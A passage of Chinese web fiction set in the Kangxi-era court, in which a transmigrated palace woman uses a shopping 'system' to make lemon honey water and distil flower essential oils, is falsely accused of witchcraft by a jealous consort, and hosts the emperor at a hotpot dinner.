于是,主仆三人便在这内室里忙活开来。
岑盐絮坐在榻上,看着春熙和夏禾一边核对物品,一边小声念着那些阿拉伯数字和标记,偶尔出声纠正一二。
她自己也拿起那面康熙赏的琉璃水银镜,左照照,右照照。
镜中人眉眼精致,肌肤莹润,因着这几日调养得好,更添了几分丰腴媚态。
她对着镜子眨了眨眼,扯了扯嘴角,心里暗忖:原主这副皮囊真是没得挑,美得很!
她一边臭美,一边分神留意着脑海中的系统界面。
时间一点点过去,表格核对完了,赏赐也仔细清点了一遍,可那【三人拼团】的界面依旧灰着,毫无动静。
岑盐絮不由得有些气馁,挥手让有些莫名的春熙和夏禾退下,独自对着系统面板生闷气。
这三人拼团到底要怎么才能触发?难道对情景或是场合还有什么特殊要求不成?
正当她烦恼着是顺其自然,还是再想想别的办法时,院门外突然传来一阵略显急促的脚步声,紧接着是常喜提高的、带着提醒意味的通报声:
“主子,大阿哥、太子殿下到!”
岑盐絮一愣,赶紧收敛心神,整理了一下衣襟发簪,快步迎了出去。
刚走到门口,就见两个小萝卜头一前一后走了进来,后面跟着一群嬷嬷太监。
为首的自然是太子胤礽,他穿着一身杏黄色的蟒袍,小脸板着,努力做出威严模样,但那双大眼睛里却透着藏不住的好奇和兴奋。
稍后半步的是大阿哥胤禔,一身宝蓝色常服,虎头虎脑,眼神更直接些,滴溜溜地打量着这个小院子。
“妾身给太子殿下请安,给大阿哥请安。”岑盐絮规规矩矩地屈膝行礼。
“起来吧。”胤礽小手虚抬了一下,像个小大人似的开口,声音还带着奶气,“孤和大哥下学了,路过这里,想起你的……嗯,你的玩具做得很好,皇阿玛都夸赞了。”他显然不太习惯说这种客套话,有点卡壳。
胤禔就没那么多弯弯绕绕了,直接问道:“岑娘娘,你这里可还有什么好玩的新奇玩意儿吗?”他惦记着那能自己跑的小火车,觉得能做出这等东西的岑娘娘,定然还有别的宝贝。
岑盐絮心里好笑,原来是两个小顾客上门了。
她脸上露出温和的笑容:“谢太子殿下夸赞。妾身这里……新奇玩意儿暂时没有,不过方才正好
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得了一些海外来的异果,滋味清爽,不知两位阿哥可愿尝个新鲜?”
“异果?”胤礽和胤禔对视一眼,都看到了对方眼中的兴趣。
“是什么果子?”胤禔追问道。
“名叫柠檬,气味清香,妾身正打算用它调些蜜水来喝。”岑盐絮一边说,一边示意春熙和夏禾去准备蜂蜜和清水。
两个小阿哥被引到屋内坐下,眼睛却好奇地跟着岑盐絮的动作转,只见岑盐絮净了手,拿起几个黄色的、散发着清淡香味的果子。
待到看清那几个柠檬时,两位小阿哥齐齐皱眉。
“这果子很酸的,我才不要吃!”胤禔直言道。
小太子虽未说话,但抗拒的表情十分明显。
岑盐絮失笑:“我能把它们变得很好吃,你们信不信?”
两个小孩纠结两秒,齐齐摇头。
最后还是小太子心软了,道:“你先做,孤给你个面子,尝一口便是,只尝一口哦!”
胤禔面上闪过纠结:“不就是一个柠檬,爷也能尝!”
岑盐絮便用锋利的小刀将柠檬切成薄片,一股清新异常的香气瞬间在空气中弥漫开来。
胤礽忍不住吸了吸小鼻子,胤禔更是伸长了脖子看。
岑盐絮将柠檬片放入白瓷杯中,加入少许蜂蜜,再冲入凉白开,用细银勺轻轻搅拌。
两杯黄澄澄、清亮亮的柠檬蜂蜜水便做好了,被春熙和夏禾小心翼翼地端到两位小阿哥面前。
“殿下,大阿哥,请慢用。”岑盐絮自己也端了一杯,在一旁陪着。
胤礽看着杯中漂浮的黄色果肉,还有些犹豫。胤禔却是个胆大的,学着岑盐絮的样子,端起杯子喝了一口。
“唔!”他眼睛猛地一亮,酸酸甜甜又带着独特清香的味道让他惊喜不已,“好喝!酸酸的,又甜甜的!上回御膳房把果子削开就给爷吃,真是一群蠢蛋!”
见大哥如此,胤礽也放下了太子的架子,端起杯子小口品尝起来,随即也点了点头:“滋味确实奇特,很清爽。”
看着两个小家伙捧着杯子,小口小口喝得香甜,眉眼都舒展开来的样子,岑盐絮心里也泛起一丝柔软和成就感。哄孩子,有时候就是这么简单。
就在这时,她脑海中久无动静的系统,忽然“叮”了一声。
【检测到有效三人以上场合,身份判定:大清皇太子,大清皇长子。符合拼团触发条件!】
【随机任务发布:与当前场合中的至少两人,共同完成一次分享美食行为。(已完成)】
【任务奖励发放中……恭喜宿主,获得蒸馏仪器三套!(物品已自动存入商品暂存空间)】
岑盐絮:“!!!”
成功了!而且奖励是蒸馏仪器!
岑盐絮想到在这个朝代价值千金、一瓶难求的舶来品精油,还有这个朝代根本没有的高纯度医用酒精,仿佛已经看到了未来数钱数到手抽筋的日子。
这下她要发了!
18. 采花
送走了心满意足、还约定下次再來喝柠檬水的两位小阿哥,岑盐絮心情颇佳。
她看着商品暂存空间里那三套崭新的家用小型精油蒸馏器套装,嘴角忍不住上扬,这新功能的奖励果然实在!
她收敛心神,将注意力转回最初的计划上。
其实今天用银子买到商品后,几个商品都显示了限购十份的提示,为了买到更多的商品,她得想办法多攒些硬通货。
宫中女子用香普遍,若能弄出些与众不同又效果显著的香露、精油,不仅能自用,或许还能作为人情往来,她心思活络起来,但这需要一些原料,如今工具齐备,只欠东风。
“春熙,夏禾。”她再次唤来两个宫女。
“主子。”
“你们去御花园,拣那不起眼、开得多的花儿,采些回来。”岑盐絮吩咐道,特意强调,“记住,别挑名贵品种。”
她如今只是个官女子,根基浅薄,行事需万分谨慎,若不小心碰了哪位娘娘心爱的名兰或是珍品牡丹,那便是授人以柄,自找麻烦。
春熙和夏禾虽不解其意,但还是恭敬应下:“是,主子,不知主子可有心怡的品种?”
岑盐絮沉吟片刻,蒸馏精油最好选香气浓郁且出油率相对较高的常见花卉。
御花园里,名贵的花木她不敢动,但那些生长繁茂、几乎随处可见的……
“月季、茉莉,若是见到金银花和薄荷,也采些回来,不必多,每样一小篮即可。”月季香气馥郁,茉莉清香宜人,金银花和薄荷都有一定舒缓、安神的功效,适合尝试。
两名宫女领命而去。
不一会儿,春熙和夏禾提着几个小篮子回来了,里面装着沾着露水的月季花瓣、洁白的茉莉花苞,还有几簇金银花、薄荷叶。
岑盐絮选了西厢房一间无人居住的空房,对下人宣称:“为得圣宠,我要研制一些香露,过程需得静心,不能受人打扰,没有我的吩咐,谁也不准进来。”
夏禾和春熙对视一眼,都垂首应下,守在了院中,确保无人靠近。
夏禾到底是康熙的人,思想成熟些,察觉主子有些神异之处,皇上也因此对她有几分格外的重视,于是尽管发现了岑盐絮的不对劲,却克制着不去多想,她只要做好她分内之事便是。
春熙则大大咧咧的,万事不过心,还在问夏禾呢:“姐姐,皇上什么时候赏的小主柠檬?我竟然没赶上!”
夏禾神色复杂,只能叹一声无知是福。
岑盐絮闩好房门,从空间里取出一套蒸馏设备,她按捺住兴奋,翻开商品附赠的操作指南,发现其中有制作精油和酒精的过程示例!
指南图文并茂,步骤清晰又详细。
首先需将花瓣清洗干净,略微晾干表面的水分,避免带入杂质和过多水分影响精油纯度,如果没有制作过程,岑盐絮就直接把花瓣放进去制作了。
洗完再晾干需要点时间,看来制作暂时是急不得了。
与此同时,慈宁宫内,那道光幕毫无征兆地同时在三人的视野中亮起,伴随着清晰的提示音:
【您关注的主账号山今雪购买了新商品!】
【以下是商品清单!】
【辣椒种子(高产朝天椒),功效:调味,辛辣开胃,驱寒除湿,可种植繁衍。】
【火锅底料(牛油麻辣),功效:汤底秘料,集多种香辛料之大成,沸水煮之,涮食肉蔬,风味绝佳。】
【柠檬(一级果),功效:极酸,富含某种元素,可泡水、调味,防治坏血病,生津解乏。】
光幕上不仅列出了商品名称,还附带了清晰的图片和远比之前详细的说明。
一时间,暖阁内寂静无声——太皇太后拨动佛珠的手停了下来,皇太后端着茶盏忘了喝,康熙的动作也顿住了。
三双眼睛,都带着不同程度的惊异,聚焦在那悬浮的光幕上。
还是康熙最先回过神来,他轻咳一
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声,打破了沉默:“皇玛嬷,皇额娘,想必这便是那拼夕夕商城的新消息了。”
太皇太后缓缓开口,声音带着历经世事的沉稳:“辣椒能驱寒除湿?若真如所说,于蜀地和边关百姓,倒是大有益处,只是此物闻所未闻……”她看向康熙,意在询问。
康熙颔首:“系统之物,都很可信,且此物可种植繁衍,若能成功,利在长远。”
他顿了顿,看向另一项:“这柠檬能防治坏血病,于福建、广东水师,至关重要。”作为帝王,他几乎瞬间就权衡出了这两样东西的战略价值。
皇太后则对那火锅底料更感兴趣,她瞧着图片上红油滚滚、配料丰富的模样,忍不住道:“这底料配上锅子,沸水煮食,想来别有风味。”她在蒙古时便习惯了大块吃肉,对这般鲜香麻辣的描述颇觉诱人。
这时,三人都注意到了光幕下方的购买选项和提示:【辣椒种子(限购10份)】、【火锅底料(限购10份)】、【柠檬(限购10份)】,【可在三样物品中选择一样跟风购买】,三样物品价格不一。
“限购十份?”康熙眉头微蹙,这次的限制比想象中更严。
太皇太后:“看来此等奇物,机缘难得,不可贪多。”
她目光扫过三项商品,心中已有决断:“皇帝心系社稷,这辣椒种子关乎军国民生,理应由你来处置。”
“这锅子底料和柠檬,咱们就一起尝尝鲜?”皇太后提议。
太皇太后见皇太后如此说,便含笑应允:“也好,哀家活了这么大岁数,还没见过这般吃法,便依你。”
三人意见一致,便不再犹豫。
付完钱,微光闪过,成堆的食物和种子堆在小桌上。
太皇太后将底料和柠檬交给苏麻喇姑收好,语气平和地对康熙道:“皇帝,此等奇物接连现世,虽是大清之福,却也需谨慎处置,徐徐图之。”
“孙儿明白,皇玛嬷放心。”康熙恭敬应道。
19. 告状
说干就干。
岑盐絮挽起袖子,按照精油制作过程示例图,把瓣浸泡在清水中的花瓣漂洗过,放置一段时间后,把晾干的花瓣放入蒸馏壶,加入清水,刚好没过花瓣,然后加热蒸馏壶。
岑盐絮紧张地盯着铜壶,听着壶内水声渐响,白色的蒸汽开始袅袅升起,沿着导管涌入玻璃冷凝管,又用上她事先准备的一盆凉水,不断地用木勺舀起,浇在冷凝管的外壁上,看着带着淡淡粉色的水汽在冰冷的玻璃管内壁迅速凝结成一颗颗水珠,混合着极其细微的、亮晶晶的油滴,一滴、两滴……缓慢而持续地滴入下方的玻璃收集瓶中。
不过这只是第一步,现在得到的是混合了精油和纯露的液体,还需要需静置一段时间,利用油水密度不同进行分离。
成功的曙光已然显现,岑盐絮擦了擦额角沁出的细汗,继续添加冷水,耐心等待着时间的酝酿。
乾清宫内,康熙刚处理完种子的事情,便有眼线悄声进来禀报。
“皇上,岑小主今日下午命宫女采摘了些月季、茉莉等花卉,随后便独自进了西厢房,言说要为挣圣宠,研制新香,闭门不出,不许任何人打扰。”
康熙闻言,挑了挑眉。
争宠?岑盐絮需要用这种手段来争宠?
莫非又是系统发布的任务?让她研制什么具有特殊效用的香露?
他嘴角几不可查地弯了一下,吩咐道:“朕知道了。她既说了不许打扰,你们便在外围守着,确保无人惊扰她便是。至于她做什么,不必深究,更不许窥探。”
“嗻。”眼线虽心中疑惑皇上对此事的宽容,却不敢多问,躬身退下。
康熙目光重新回到奏折上,心思却飘远了些。
而在长春宫——僖嫔赫舍里氏所居的殿内,气氛却截然不同。
同样的消息,经由赫舍里家安插的眼线,也传到了她的耳中。
她的心腹宫女压低声音禀报:“娘娘,围房那位,今日下午鬼鬼祟祟地让宫女去采了些花,然后就一个人关在空屋子里,不知在做什么事,还不许任何人进去!奴婢觉得,这事透着邪性!她为何如此避人耳目?怕是没干什么好事!”
毕竟有康熙安排的人挡着,她们并没有查到岑盐絮具体在做什么事,只觉得她神神秘秘的。
僖嫔闻言,猛地将手中的团扇拍在桌上,眸中寒光闪烁。
她嗤笑一声,语气充满了鄙夷与怀疑:“怕是制什么见不得人的腌臜东西吧!怪不得皇上近日对她如此不同,连太子和大阿哥都频频往她那儿跑,定是她用了什么狐媚邪术!如今闭门不出,行踪诡秘,说不定就是在行巫蛊之道,想要彻底蛊惑圣心!”
她越想越觉得可能,心中那股因岑盐絮得宠而燃起的嫉火,烧得她五脏六腑都难受。
她绝不能任由这个汉人包衣生下的的卑贱女子继续嚣张下去,更不允许她威胁到她的地位和与太子的关系!
“给本宫仔细盯着!”僖嫔厉声吩咐,指甲几乎掐进掌心,“想办法,务必探听清楚,她到底在屋里搞什么名堂!一旦抓到证据,本宫定要亲自撕下她的皮,让她永无翻身之日!”
“是,娘娘!奴婢一定想办法查个水落石出!”宫女领命而去。
僖嫔看着窗外渐渐沉下的暮色,胸口剧烈起伏,不只是生气,还有一丝即将扳倒岑盐絮的窃喜。
西厢房内,岑盐絮对即将到来的风波毫无所觉。
她刚刚将第一次蒸馏得到的液体倒入细口玻璃瓶中,准备进行长时间的静置。
看着瓶中混合着金色油滴的液体,闻着空气中愈发醇厚的香气,她揉了揉肩膀,心中却并无多少疲惫的感觉。
第一步,总算顺利完成了,都比她小时候上化学课还要认真了。
而她不知道的是,这扇紧闭的房门外,关注与阴谋,已如同夜色般悄然笼罩下来。
翌日下午,承乾宫内熏香袅袅,佟贵妃正与荣嫔马佳氏、惠嫔纳喇氏等几位高位妃嫔小聚,品着新茶,说着些宫中趣闻。
就在这时,守门太监通传,僖嫔求见。
佟贵妃虽有些意外,但还是温和地宣了她进来。
僖嫔今日打扮得精致,眉眼间却带着一丝难以掩饰的急切与忧色,她规规矩矩地给佟贵妃和几位嫔位行了礼。
“起来吧,僖嫔妹妹今日怎么得空过来了?”佟贵妃放下茶盏,语气温和地问道。
僖嫔起身,脸上挤出一丝恰到好处的犹豫和不安,她先是叹了口气,才缓缓开口:“回贵妃娘娘,妾身心中实在有些不安,又不知该与何人诉说,想来想去,只好来叨扰娘娘和几位姐姐,请娘娘们帮着拿个主意。”
“哦?所为何事?”佟贵妃挑了挑眉,接口问道,惠嫔也露出了好奇的神色。
僖嫔像是下定了决心,压低了些声音道:“妾身昨日偶然听得底下宫女嚼舌根,说
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岑官女子行为有些古怪。”
她刻意顿了顿,见引起了诸位的好奇,才继续道:“下人说是撞见她命人采了些花,然后便独自一人躲进空屋子里,紧闭门窗,还不许任何人靠近,神神秘秘的,也不知在捣鼓些什么。宫女们私下议论,都说那情形透着几分邪性。”
她说到这里,连忙又补充道:“妾身起初也只当是闲话,并未放在心上。可转念一想,这宫里最重规矩,岑妹妹年轻不知事,万一弄出什么不妥当的东西,或是被人误解了,岂不是坏了宫里的风气,也连累了她自己?”
在这宫里混到高位的,都是聪明人,又哪儿听不出僖嫔话里话外的意思。
不就是在状告岑盐絮行巫蛊之术,又不想担了这个责任。
惠嫔笑了笑:“那妹妹待如何?”
僖嫔就等她这句话了,即刻便说道:“妾身思来想去,或许只是岑妹妹心思奇巧,在研制什么新鲜玩意儿,咱们一起去瞧瞧,若真是好东西,也帮她参详参详,若是有什么不妥,也好及时规劝,免得她行差踏错。”
她这番话,说得滴水不漏,既点出了岑盐絮行为的可疑,又摆足了关心姐妹、维护宫规的架势。
把自己的猜测和污蔑撇得一干二净。
佟贵妃闻言,端着茶盏的手微微一顿,眸中闪过一丝深思。
一个小小官女子,若要查什么事情,把她召来问询便是,何须她们自降身份,亲自去一趟。
这僖嫔分明就是笃定岑氏有问题,非要去抓她一个现行。
佟佳氏实在是不想管这些争风吃醋的小事,可她身为贵妃,又掌管宫务,既然僖嫔都告到自己这里来了,她就不能不管。
更何况……荣嫔和惠嫔交换了一个眼神,都从对方眼中看到了几分兴趣和看好戏的意味。
惠嫔性子直些,开口道:“听起来是有些蹊跷,莫非真有什么见不得人的?”
荣嫔也慢悠悠地道:“既然僖嫔妹妹不放心,咱们左右无事,不如一起去看看?若真是岑妹妹在研究什么新奇玩意儿,咱们也开开眼。”她这话显然倾向于去看热闹。
佟贵妃叹了口气,点了点头:“既如此,咱们便走一趟,兴许是她身子刚好,闷在屋里找些乐子,咱们也别吓着她。”
众人自然无异议。
于是,由佟贵妃打头,荣嫔、惠嫔、僖嫔等人紧随其后,一行人带着宫女太监,浩浩荡荡便往围房而去。
20. 精油
这么大的阵仗,自然瞒不过旁人。
宫里消息灵通的,几乎都听到了贵妃带着几位高位嫔妃往围房去的消息,似乎是为了那位近期圣眷正浓的岑官女子,有心下好奇的,纷纷跟了过去。
一些住在附近的常在、答应见状,更是按捺不住,远远缀在后面想看个究竟。
敬嫔也劝安嫔去看热闹,只是安嫔一听这消息,秀眉蹙起:“那起子人不懂体面规矩就算了,怎的贵妃也陪着她们闹。”
和她一样想法、自持身份的人不少,只觉得那些爱看热闹的常在答应上不了台面,但更多的人还是不想惹事,于是待在自己的宫殿里,关起门来,两耳不闻窗外事。
最后,跟在佟贵妃后面的高位,只有一个敬嫔。
一时间,通往围房的小道上,前所未有的热闹。
围房小院内,夏禾和春熙正尽职地守在院子里,突然见到这么一大群主子娘娘涌进来,吓得魂飞魄散,慌忙行礼请安。
“奴婢给贵妃娘娘请安,给各位娘娘请安!”
佟贵妃抬了抬手,语气还算平和:“起来吧,岑官女子可在?”
夏禾心头一跳,强自镇定地回道:“回贵妃娘娘,我们主子正在屋内研制香料,吩咐了不许打扰,容奴婢先去通传一声,请主子出来迎驾。”
她这话本是按规矩办事,但听在有心人耳里,却成了欲盖弥彰。
僖嫔立刻尖声道:“哦?你家小主这么金贵,连贵妃娘娘和诸位姐姐来了,都要等在门外通传?莫非屋里有什么见不得光的东西,怕被咱们瞧见?”
惠嫔也帮腔道:“就是,咱们也是关心她,特意过来看看,这般躲躲藏藏,反倒让人生疑。”
佟贵妃见状,心中疑窦也更重了些,她看着紧闭的房门,淡淡道:“既如此,本宫便亲自进去看看,岑官女子到底在研制何等奇香。”
夏禾和春熙脸色煞白,想要阻拦却又不敢,急得额上冒汗,眼看佟贵妃示意身后的太监上前,气氛剑拔弩张,就要硬闯之时——
院门外突然传来梁九功拔高了嗓音的通传:
“皇上驾到——!”
这一声如同平地惊雷,瞬间让嘈杂的院子安静了下来,所有人都是一愣,随即慌忙转身,面向院门方向,齐刷刷地行礼:“臣妾/嫔妾给皇上请安,皇上万福金安!”
康熙穿着一身常服,面色沉静地走了进来,目光扫过院子里黑压压跪了一地的人,尤其在以佟贵妃为首的那一群妃嫔身上停留了一瞬,眉头几不可查地蹙了一下。
“都起来吧。”他的声音听不出喜怒,“今日怎的如此热闹?”
就在这时,那扇一直紧闭的西厢房门“吱呀”一声从里面打开了。
岑盐絮显然是听到了外面的动静,走出来时,她脸上带着恰到好处的惊讶和惶恐,发鬓微乱,身上似乎沾染了一种浓郁而醇厚的花香,与她平日里给人的感觉截然不同。
她看到院中的阵仗,尤其是看到康熙,明显愣了一下,随即快步上前,规规矩矩地行礼:“妾身不知皇上和各位娘娘驾到,未曾远迎,请皇上、娘娘恕罪。”
康熙虚抬了一下手,目光在她身上停留了一瞬,语气依旧听不出什么波澜,却带着一丝不易察觉的探究:“起来吧,你可是有什么不便之处?”
他这话问得微妙,虽未明说,却是明晃晃的维护。
其他人听不出来,跟了他最久的梁九功和荣嫔二人,却是对他的话外之音听得明清清楚楚。
站在他侧后方的梁九功眼皮微微一动,垂下了目光,荣嫔站在妃嫔队列中,闻言亦是眸光微闪,若有所思地看了一眼岑盐絮,心中不由提高了对她的警惕度。
岑盐絮还不知道这些人过来是要干嘛的,于是疑惑道:“并未有什么不方便之处,万岁爷,您和几位姐姐这是?”
“方才听你这宫女言道,你在制香?她们也是好奇,确实不成体统,若你不便被打扰,亦是无妨,朕让她们回去便是。”
他这话说得极其含蓄,仿佛只是例行公事的关怀,但话里的意思却再明白不过——他在给岑盐絮递梯子。
如果她不想让这群妃嫔进去,无论她在里面做什么,他此刻就可以将所有人都挡在门外,保全她的秘密。
梁九功的头垂得更低了,心里却跟明镜似的,万岁爷这话,分明是在给岑小主撑腰呢!
荣嫔站在不远处,眸光几不可查地动了一下,随即恢复平静,只是看向岑盐絮的目光里,多了几分更深的审慎。能让皇上如此费心维护,哪怕只是这般隐晦的维护,这岑氏绝不像表面看起来那么简单。
而佟贵妃,早在听到康熙说出那句不成体统时,就已经分寸大乱了,生怕皇上觉得她能力不足。
僖嫔只觉得气愤,想向她泼脏水,可不敢在此时出声。
岑盐絮何等机灵,立刻便听懂了康熙的弦外之音。
她心头一暖,抬起眼,对上康熙那双深邃沉静的眸子,看到他眼中一丝几不可查的询问。
她微微一笑,笑容里带着点坦然,声音清晰地说道:“谢皇上体恤,妾身之事并无什么不可见人之处,只是怕气味杂乱,污了圣驾和各位娘娘的清听,若皇上和娘娘们不嫌弃,妾身愿请诸位入内一观。”
她这话答得大方得体,既承了皇帝的情,又表明了自己坦荡无私,不怕人看。
康熙闻言,点了点头:“既如此,朕便去瞧瞧。”
说罢,便率先迈步向屋内走去。
佟贵妃等人互看一眼,也怀着各种心思跟了进去。
一开门,就问到了浓郁的香气,这香气不是宫中供应的任何一种香,证实了岑盐絮所言不虚。
僖嫔在后边脸色微白,不敢再多言。
康熙目光转向岑盐絮:“看来爱妃成果斐然,这香气颇为独特。”
岑盐絮便顺着话头道:“回皇上,妾身闲来无事,翻阅杂书,看到古法提香之术,便想试着用寻常花瓣提炼些香露自用,方才正是在进行最后一步。”
康熙点了点头,
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众人陆续走了进去。
屋内,那套小巧的蒸馏设备尚未收起,蒸馏壶、玻璃冷凝管、收集瓶等物什摆放着,空气中弥漫的香气更加浓郁。
一个白瓷瓶里,盛着少许澄澈透明、却散发着极致香气的液体,旁边还有一小瓶颜色更深、更浓郁的油脂状物。
僖嫔瞬间像抓住了什么话柄,惊声道:“你还说你心里没鬼!琉璃制品何其珍贵,这些东西是从哪儿搞来的!”
岑盐絮看了眼康熙:“回僖嫔娘娘,是万岁爷得知我家在香山县,对这些西洋器物感兴趣,所以赏给我的。”
她前几日得了赏,这是众所周知的消息。
不过众人都没想到,康熙竟然把这么珍贵的东西赏给她,一时有些惊得说不出话来。
康熙微微一笑,没看张嘴就是胡诌的岑盐絮,也没拆穿她,拿起白瓷小瓶,凑近闻了闻,那香气纯粹而强烈,绝非寻常香露可比。
“这是?”
“回皇上,这是妾身用月季花瓣蒸出的花露,旁边那小瓶里是分离出的精油。”岑盐絮解释道,“此物香气持久,可用于熏香、润肤,或是调入胭脂水粉中。”
众妃嫔闻言,都忍不住好奇地凑近观看、闻嗅,精纯的香气让她们眼前一亮。
她们都是用过好东西的,宫里的贡香、海外传来的香露也见识过,但如此纯粹、浓郁的香气,却是头一回闻到。
尤其是那精油,听岑盐絮说,只需一滴,香气便能经久不散。
惠嫔也忍不住说道:“想不到岑妹妹还有这般巧思。”
佟贵妃心中亦是惊讶,面上却不露声色,只微笑道:“岑官女子真是心灵手巧。”
唯有僖嫔,脸色一阵青一阵白,她万万没想到,岑盐絮搞出的不是巫蛊邪物,而是这等稀罕东西!
她可是知道,这等提纯过的精油,多是海外舶来品,价格极其昂贵,尽管众妃嫔心向往之,也有那个资本使用,但皇上因崇尚节俭,并不提倡妃嫔们靡费购买。
如今岑盐絮竟能自己制作……
康熙将众人的反应尽收眼底,心中明了,他放下小瓶:“既然是场乌龙,你们也散了吧,日后,朕不想再看到这等不顾规矩礼法之事。”
“妾身谨记皇上教诲。”跟来看热闹的常在答应们被扣上这种帽子,都后悔今天跟过来了。
佟贵妃更是无地自容:“今日之事是臣妾的错,臣妾定好好约束众位妹妹,再给岑妹妹赔罪。”
她本就不愿意来的,可僖嫔闹得太过,害她给皇帝留下了一个这么不好的印象,佟贵妃越想越气,看僖嫔哪哪都不顺眼。
回去的路上,僖嫔还在怒斥岑盐絮上不得台面,和她同住一宫的常在,因她的威压,不得不应和,被她缠得没办法的惠嫔也跟着附和了两句。
僖嫔不知道,自己已经被贵妃记恨上了,也不知道和自己一起抱怨着的惠嫔和常在,都在心里暗暗琢磨——怎么才能从岑氏那里弄来一瓶精油用用呢?就算花上千金,她们也愿意啊……
21. 吃锅子
送走了心思各异的妃嫔们,又打发了前前后后几波或明或暗前来打探、想要求购精油和花露的宫人,小院总算渐渐安静下来。
岑盐絮揉了揉有些发胀的额角,正准备回屋好好歇歇,脑海中那熟悉的电子提示音便响了起来。
【检测到有效三人以上场合,身份判定:康熙、佟贵妃等。符合拼团触发条件!】
【随机任务:与当前场合中的至少两人,完成一次对话。(已完成)】
【检测到宿主在三人以上场合成功制造震惊全场效果,完成隐藏成就技惊四座!高级奖励已发放,请查收!】
【恭喜宿主,获得高产红薯藤三捆!(物品已自动存入商品暂存空间)】
岑盐絮一愣,随即意念沉入系统空间,只见原本存放蒸馏器和杂物的空间角落里,赫然多出了三捆翠绿的带着根的藤蔓状植物。
红薯!岑盐絮的心猛地一跳。
这可是好东西!
产量高,适应性强,不挑土地,是实实在在的救命粮!比起还没来得及种下的辣椒种子,这红薯藤的重要性不知要高出多少。
辣椒或许能满足她个人口腹之欲,甚至将来能做成产业,但红薯却关系到无数百姓的温饱,是真正的民生大计。
辣椒可以缓一缓,但这红薯藤,必须尽快找个稳妥的地方种下去,推广开来!
只不过……
“系统你是不是有毛病呀?能不能给我个三人拼团的明细规则!两次了,两次都是人都走了你才知道公布任务,你是不是故意坑我呀!”
【任务和宿主推广系统商品的主动性有关,不唯一不固定,请宿主自主探索!】
岑盐絮想了想,上次这个任务成功是因为她给了两个阿哥柠檬水,这次任务成功是因为她给皇上和各位娘娘展示了精油。
这样看来,系统规则还是有迹可循的,好像只要自己在三人以上的场合中,主动推广系统商品就可以了,明天可以试一试!
她正心潮澎湃地想着如何着手,系统界面又准时刷新了每日秒杀的商品。
四个图标跃入眼帘:蚝油、多功能插排、超薄透气卫生巾(日夜组合装)、海底捞芝麻蘸料。
大多都是可以用到的!尤其是卫生间!
每样商品下方依旧标注着原价和一文钱秒杀价,并且注明了限购十份。
岑盐絮逐一看去,心里迅速盘算着。
插排,依旧是看着眼馋实则无用,还卖出了五百两的高价,直接忽略。
海底捞蘸料,原价3两银子。吃火锅绝配!有了它,今晚的火锅蘸料灵魂就有了,这个可以买!
蚝油,原价5两银子,提鲜神器,炒菜、调蘸料都少不了,如今海鲜不多,做菜放点蚝油可以提提鲜,这个也得买!
卫生巾,原价15两银子,作为来月经后的必需品,在这个只能用月事带的时代,其舒适便捷的程度无可替代,更何况,这东西可比月事带卫生多了,虽然贵点,但必须买,还得囤满十份!
于是,岑盐絮立刻用一文钱秒杀机会购买了最贵的卫生巾。
然后,她选择了原价购买十份麻酱,花费30两,六份蚝油,花费30两,又买了九份卫生巾,花费135两。
这一下子就出去了195两银子,让岑盐絮肉痛不已,但想到这些东西的实用性,又觉得这银子花得值。
还是要继续搞钱啊!
看着今天购买的蘸料和蚝油,岑盐絮想起了早已安排好的晚膳——牛油火锅。
她心念一动,如今红薯藤在手,正需要一个合适的时机和理由向康熙提起种植之事,隔日不如撞日,就今晚了!
岑盐絮立刻唤来常喜:“你去乾清宫一趟,就说我今晚备了些膳食,若皇上得闲,可否赏脸过来一同用晚膳?”
她或多或少也能感觉的出来,夏禾和常喜,这两个她身边的元老,都和乾清宫那边有些联系,早前以为是监督,但后来发现,还有保护,不然昨日皇上也不可能到的那么快。
常喜领命而去,岑盐絮则开始准备起来,指挥着春熙、夏禾将院子收拾妥当,又吩咐御膳房那边
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备菜。
晚膳时分,康熙如约而至,他踏入小院,便闻到一股与下午那花香截然不同的、浓郁辛霸的香气,不由得挑了挑眉。
屋内,一张八仙桌被收拾得干干净净,中间摆放着一个精致的铜制暖锅,下面炭火正旺,锅里红油翻滚,咕嘟咕嘟地冒着泡,那股让人食指大动的麻辣鲜香正是源于此。
桌面上摆满了各式碟子:切得薄如蝉翼的羊肉片、肥瘦相间的猪肉片、嫩滑的鸡片,还有御膳房根据岑盐絮指点做的鱼丸、虾滑,用料十分实在,此外还有洗得水灵灵的菠菜、白菜、嫩豆苗,泡发好的木耳、香菇,还有些爽口的粉丝、面条。
见到康熙进来,岑盐絮连忙迎上行礼。
“起来吧。”康熙的目光在那一桌子生鲜食材和中间那锅红汤上转了一圈,难掩惊讶,“爱妃这又是弄的什么新奇花样?”
岑盐絮笑着请他入座主位,自己则在一旁伺候布菜,一边解释道:“回皇上,这名为红油锅子,底料用多种香辛料熬制而成,是仙师所赐。”
康熙眸光一动,岑盐絮继续说道:“吃的时候,将这生肉生菜放入滚汤中涮熟,蘸着特制的料汁食用,别有一番风味。”
说着,她亲自拿起一个小碟,从麻酱、蚝油罐子里各舀了一些,又加入少许捣碎的葱花和香菜末,淋上一点酱油和香醋,熟练地调成了一碗香气四溢的蘸料,恭敬地放到康熙面前。
“皇上尝尝这蘸料可还合口?”
康熙看着她娴熟的动作,又闻了闻那碗汇聚了麻酱浓香、蚝油鲜咸以及其他佐料复合香气的蘸料,不禁有了些期待。
这时,春熙又端上来两杯柠檬蜂蜜水。
“这是……”康熙看着那陌生而熟悉的柠檬片。
“这是柠檬,妾身想着这火锅滋味浓厚,配些清爽的饮品正好,便调了些。”岑盐絮解释道。
她这样一说,康熙就知道这是昨日里两个小阿哥向他炫耀过的柠檬水了。
康熙看了岑盐絮一眼,觉得她今晚格外周到,甚至周到得有点……不对劲。
22. 位份
梁九功夹起一片羊肉,在翻滚的红汤中涮了几下,待肉片变色卷曲便捞出,又在那碗蘸料里滚了一滚,然后放到康熙面前的碟子上。
康熙尝了尝,一口下肚,刹那间,麻辣的刺激感、牛油的醇厚、各种香料的复合香气在口中爆开,紧接着是羊肉的鲜嫩和蘸料的鲜美辛香,多种味道层次分明又完美融合,形成一种极其霸道而又令人欲罢不能的味觉盛宴。
康熙又端起那杯柠檬水喝了一口,酸甜的味道瞬间缓解了舌尖的辣意,却更勾起了对下一口食物的渴望。
“不错!”康熙眼中露出惊艳之色,忍不住又夹了一筷子涮好的虾滑。
岑盐絮就没那么多讲究了,没让宫女布菜,直接自己拿起公筷,想吃什么涮什么,她胃口很好,带动着康熙也多吃了几口。
梁九功在一旁侍立,看着皇上吃得额头微微见汗,却下箸如飞,比平日用膳时胃口好了不知多少,心中暗暗称奇。
这顿饭吃得可谓是酣畅淋漓。
